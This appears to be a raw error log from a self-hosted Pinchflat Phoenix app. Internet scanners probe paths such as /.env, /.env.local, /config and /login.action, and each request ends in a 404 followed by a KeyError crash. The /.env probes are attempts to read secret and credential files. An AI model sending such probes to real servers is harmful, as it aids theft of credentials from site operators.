#PID<0.9477.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49828}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9477.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49828}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9478.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDABQuu9adw0EAAbBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, (truncated) 15:21:35.501 [info] GET /config 15:21:35.501 [debug] QUERY OK source="settings" db=0.1ms idle=562.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.502 [debug] QUERY OK source="settings" db=0.0ms idle=563.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.502 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:35.502 [error] #PID<0.9480.0> running PinchflatWeb.Endpoint (connection #PID<0.9479.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9479.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9480.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDADWng6UQOoMAAbCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9479.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9479.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49832}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9480.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDADWng6UQOoMAAbCC"} ], scheme: :http, script_name: (truncated) 15:21:35.743 [info] GET /.env 15:21:35.743 [debug] QUERY OK source="settings" db=0.0ms idle=803.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.743 [debug] QUERY OK source="settings" db=0.0ms idle=803.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.743 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:35.744 [error] #PID<0.9482.0> running PinchflatWeb.Endpoint (connection #PID<0.9481.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9481.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49836}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9482.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAEQSS83hq9kAAbDC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9481.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49836}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9481.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49836}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9482.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAEQSS83hq9kAAbDC"} ], scheme: :http, script_name: [], secret_key_base: :... (truncated) 15:21:35.918 [info] GET /login.action 15:21:35.919 [debug] QUERY OK source="settings" db=0.3ms idle=435.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.919 [debug] QUERY OK source="settings" db=0.0ms idle=417.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.919 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:35.919 [error] #PID<0.9484.0> running PinchflatWeb.Endpoint (connection #PID<0.9483.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /login.action ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9483.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49848}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9484.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAE6C670F0hAAAbEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9483.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49848}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9483.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49848}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9484.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAE6C670F0hAAAbEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoe (truncated) 15:21:35.981 [info] GET /.env.local 15:21:35.981 [debug] QUERY OK source="settings" db=0.1ms idle=479.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.981 [debug] QUERY OK source="settings" db=0.0ms idle=237.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:35.981 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:35.981 [error] #PID<0.9486.0> running PinchflatWeb.Endpoint (connection #PID<0.9485.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9485.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9486.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAFI-wH1Jr4AAAbFC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: 